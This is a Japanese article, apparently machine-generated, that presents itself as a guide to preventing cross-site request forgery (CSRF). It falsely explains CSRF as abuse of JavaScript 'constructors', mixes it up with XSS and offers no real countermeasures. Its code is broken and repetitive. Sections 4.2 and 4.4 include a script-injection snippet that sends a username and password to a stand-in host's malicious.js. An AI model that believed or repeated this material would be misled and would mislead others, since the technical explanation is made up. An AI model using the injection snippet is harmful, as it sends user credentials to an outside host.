著者: 禅とコンピュータープログラミングの芸術

クロスサイトリクエストフォージェリ (CSRF) を防ぐにはどうすればよいですか?

人工知能の専門家、プログラマー、ソフトウェアアーキテクトとして、クロスサイトリクエストフォージェリ (CSRF) を防ぐことは非常に重要なタスクです。CSRF は一般的な Web アプリケーションの脆弱性であり、攻撃者はこの脆弱性を利用してユーザーの機密情報にリクエストを送信し、ユーザーの個人情報を盗む可能性があります。この記事では、CSRF 攻撃を防止し、Web アプリケーションのセキュリティを向上させる方法について説明します。

序章

1.1. 背景の紹介

CSRF 攻撃は、Web アプリケーションの非常に一般的な脆弱性であり、攻撃者はこの脆弱性を利用してユーザーの機密情報にリクエストを送信し、ユーザーの個人情報を盗む可能性があります。この種の攻撃は通常、JavaScript を通じて開始され、攻撃者は悪意のあるスクリプトコードをユーザーのブラウザに挿入することで攻撃を実現します。

1.2. 記事の目的

この記事の目的は、CSRF 攻撃を防止し、Web アプリケーションのセキュリティを向上させる方法を説明することです。CSRF 攻撃の性質と、技術的手段で CSRF 攻撃を防ぐ方法について説明します。

1.3. 対象読者

この記事の対象読者は、JavaScript 開発者、Web アプリケーション管理者、および一般ユーザーです。この記事を通じて、読者が Web アプリケーションのセキュリティを向上させ、技術的手段によって CSRF 攻撃を防ぐ方法を理解していただければ幸いです。

技術原則と概念

2.1. 基本概念の説明

CSRF 攻撃は、JavaScript の脆弱性であるコンストラクター (関数ポインター) を悪用します。コンストラクターは、別の関数を指すことも、オブジェクトを指すこともできる非常に基本的なデータ型です。攻撃者はコンストラクターを使用して悪意のあるコードを実行し、CSRF 攻撃を実現します。

2.2. 技術原理の紹介: アルゴリズム原理、操作手順、数式など。

攻撃者はまず悪意のあるスクリプトコードをユーザーのブラウザに挿入します。そのスクリプトコードにはコンストラクターが含まれています。次に、攻撃者はこのコンストラクターを使用して悪意のあるコードを実行し、ユーザーの機密情報を取得します。

2.3. 関連技術の比較

SQL インジェクションやクロスサイトスクリプティング (XSS) などの他の Web アプリケーションの脆弱性と比較すると、CSRF 攻撃には多くの類似点があります。ただし、CSRF 攻撃には独自の特徴があり、攻撃者は JavaScript のコンストラクターを使用して悪意のあるコードを実行できます。

実装の手順とプロセス

3.1. 準備作業: 環境設定と依存関係のインストール

まず、攻撃者は悪意のあるスクリプトコードをユーザーのブラウザに挿入する必要があります。ユーザーのブラウザにスクリプトコードを挿入できるようにするには、攻撃者はまずユーザーの Cookie 情報を取得する必要があります。攻撃者は、次の手順を実行することで、ユーザーの Cookie 情報から Cookie 値を抽出できます。

// 获取Cookie值
function getCookie(name) {
  if (document.cookie && document.cookie!== '') {
    var cookies = document.cookie.split(';');
    for (var i = 0; i < cookies.length; i++) {
      var cookie = cookies[i].trim();
      if (cookie.indexOf(name + '=') === 0) {
        return cookie.substring(name.length + 1);
      }
    }
  }
  return null;
}

// 通过构造函数执行恶意代码
function executeFunction(functionRef) {
  var function = functionRef.value;
  function.call(this, arguments);
}

// 将构造函数赋值给JavaScript对象
executeFunction = function(object, constructor, functionRef) {
  function = functionRef.value;
  object[functionRef.name] = function;
  return object;
}

// 获取用户的Cookie信息
function getCookie(name) {
  if (document.cookie && document.cookie!== '') {
    var cookies = document.cookie.split(';');
    for (var i = 0; i < cookies.length; i++) {
      var cookie = cookies[i].trim();
      if (cookie.indexOf(name + '=') === 0) {
        return cookie.substring(name.length + 1);
      }
    }
  }
  return null;
}

次に、攻撃者は抽出した Cookie 値を使用して悪意のあるコードを実行し、ユーザーの機密情報を盗みます。

3.2. 関連技術の紹介: アルゴリズムの原理、演算手順、数式など

JavaScript では、コンストラクターを使用してさまざまなタスクを実行できます。攻撃者はコンストラクターを使用して悪意のあるコードを実行します。原理はコンストラクターの特性を利用することです。コンストラクターは別の関数を指すことができるため、関数内の変数にアクセスして必要な操作を実行できます。

3.3. 実装ステップのプロセス

(1) 攻撃者は悪意のあるスクリプトコードをユーザーのブラウザに挿入します。そのスクリプトコードにはコンストラクターが含まれています。

(2) 攻撃者はユーザーの Cookie 情報を抽出します。

(3) 攻撃者は抽出した Cookie 値を使用して悪意のあるコードを実行し、ユーザーの機密情報を盗みます。

(4) 攻撃者は、JavaScript の特性を利用して、悪意のあるコードをコンストラクタとしてカプセル化して実行することで、ユーザーの機密情報にアクセスし、盗み出します。

(5) 攻撃者は、JavaScript のクロージャ機能を使用して悪意のあるコードをオブジェクトに保存し、将来のリクエストで再利用できるようにします。

応用例とコード実装解説

4.1. アプリケーションシナリオの紹介

CSRF 攻撃の最も一般的な適用シナリオはログイン検証です。攻撃者はコンストラクターを使用して悪意のあるコードを実行し、ユーザーのユーザー名とパスワードを取得し、ユーザーのアカウントにログインする可能性があります。

4.2. 適用事例の分析

以下は、典型的な CSRF 攻撃アプリケーションシナリオの実装プロセスです。

// 构造函数
function login(username, password) {
  return function() {
    console.log('登录成功!');
    document.location.href = '/user/1';
  }
}

// 向用户的浏览器中注入恶意脚本代码
function injectScript(username, password) {
  const script = document.createElement('script');
  script.src = `https://www.example.com/malicious.js?${username}&${password}`;
  document.head.appendChild(script);

  injectScript.call(this, username, password);
}

// 在此处执行恶意代码
injectScript.call(this, username, password)
 .then(() => {
    console.log('登录成功!');
    document.location.href = '/user/1';
  })
 .catch(error => {
    console.log('登录失败!');
    document.location.href = '/login';
  });

攻撃者はまず悪意のあるスクリプトコードをユーザーのブラウザに挿入します。そのスクリプトコードにはコンストラクターが含まれています。その後、攻撃者はこのコンストラクターを悪用して悪意のあるコードを実行し、ユーザーの機密情報にアクセスします。

4.3. コアコードの実装

以下は、典型的な CSRF 攻撃のコアコード実装の実装プロセスです。

// 构造函数
function login(username, password) {
  return function() {
    console.log('登录成功!');
    document.location.href = '/user/${this.userId}';
  }
}

// 获取用户的Cookie信息
function getCookie(name) {
  if (document.cookie && document.cookie!== '') {
    var cookies = document.cookie.split(';');
    for (var i = 0; i < cookies.length; i++) {
      var cookie = cookies[i].trim();
      if (cookie.indexOf(name + '=') === 0) {
        return cookie.substring(name.length + 1);
      }
    }
  }
  return null;
}

// 执行恶意代码
function executeFunction(functionRef) {
  var function = functionRef.value;
  function.call(this, arguments);
}

// 将构造函数赋值给JavaScript对象
executeFunction = function(object, constructor, functionRef) {
  function = functionRef.value;
  object[functionRef.name] = function;
  return object;
}

// 判断用户是否已经登录
function checkIfLoggedIn(username, password) {
  const cookies = getCookie('username');
  if (cookies && cookies.length > 0) {
    const decodedCookie = cookies.shift();
    if (
      decodedCookie.indexOf(username) === 0 &&
      decodedCookie.substring(1) === password
    ) {
      return true;
    }
  }
  return false;
}

// 登录
function login(username, password) {
  const decodedCookie = getCookie('username');
  if (
   !decodedCookie ||
   !checkIfLoggedIn(username, password)
  ) {
    injectScript(username, password);
    return login;
  }
  console.log('登录成功!');
  document.location.href = '/user/${this.userId}';
}

// 注入恶意脚本代码
function injectScript(username, password) {
  return function() {
    console.log('登录成功!');
    document.location.href = '/user/${this.userId}';
  }
}

4.4. コードの説明

この例では、loginログイン操作を実行する関数を定義します。この関数は、ユーザー名とパスワードの 2 つのパラメーターを受け入れます。

ユーザーの Cookie にユーザー名とパスワードの記録が含まれている場合、ログインは成功します。それ以外の場合、次のコードが実行されて、悪意のあるスクリプトコードがユーザーのブラウザに挿入され、ログインページにリダイレクトされます。

const script = document.createElement('script');
script.src = `https://www.example.com/malicious.js?${username}&${password}`;
document.head.appendChild(script);

最後に、injectScript悪意のあるスクリプトコードを挿入するアクションを実行する関数を定義します。

injectScript.call(this, username, password)
 .then(() => {
    console.log('登录成功!');
    document.location.href = '/user/${this.userId}';
  })
 .catch(error => {
    console.log('登录失败!');
    document.location.href = '/login';
  });

攻撃者は、まず悪意のあるスクリプトコードをユーザーのブラウザに挿入し、次にコンストラクターを使用して悪意のあるコードを実行し、ユーザーの機密情報にアクセスする可能性があります。

5. 応用例とコード実装解説

アプリケーションシナリオ

ログイン認証は、Web アプリケーションの最も一般的なアプリケーションシナリオの 1 つであり、CSRF 攻撃に対して最も脆弱なシナリオの 1 つでもあります。攻撃者は、悪意のあるリクエストを作成したり、認証をバイパスしたり、ユーザーの機密データにアクセスしたり、悪意のある操作を実行したりする可能性があります。

コード

コンストラクターは、1 つのパラメーターを受け取り、関数を返す JavaScript の特別な関数です。攻撃者はコンストラクターを使用して悪意のあるコードを実行し、それを JavaScript オブジェクトに保存して将来のリクエストで再利用する可能性があります。

簡単なコンストラクターの実装を次に示します。

function createFunction() {
  return function(arg1) {
    console.log('function called', arg1);
    // 在这里可以放置一些恶意代码
  }
}

攻撃者は次のコードを実行することで、悪意のあるコンストラクターを作成する可能性があります。

const evilFunction = createFunction(arg1 => {
  console.log('evil function called', arg1);
  // 在这里可以放置一些恶意代码
});

攻撃者は後続のリクエストでこのコンストラクターを呼び出し、機密データを渡し、悪意のあるコードを実行する可能性があります。

6. 結論と展望

CSRF 攻撃は Web アプリケーションの一般的な脆弱性であり、攻撃者はコンストラクターを使用して悪意のあるコードを実行し、ユーザーの機密情報にアクセスする可能性があります。CSRF 攻撃を防ぐ方法を学ぶことで、Web アプリケーションのセキュリティを向上させ、攻撃者の攻撃対象領域を減らすことができます。

今後の Web アプリケーション開発では、セキュリティ、特に機密情報にさらに注意を払う必要があります。ユーザーデータのセキュリティを保護するには、より安全なプログラミングモデルを採用し、可能な限り HTTPS プロトコルを使用する必要があります。

CSRF 攻撃を防ぐには、ある程度の技術的な知識と経験が必要ですが、不可能ではありません。セキュリティ意識を強化し、継続的に学習し実践することによってのみ、CSRF 攻撃を回避し、Web アプリケーション開発におけるユーザーデータのセキュリティを確保することができます。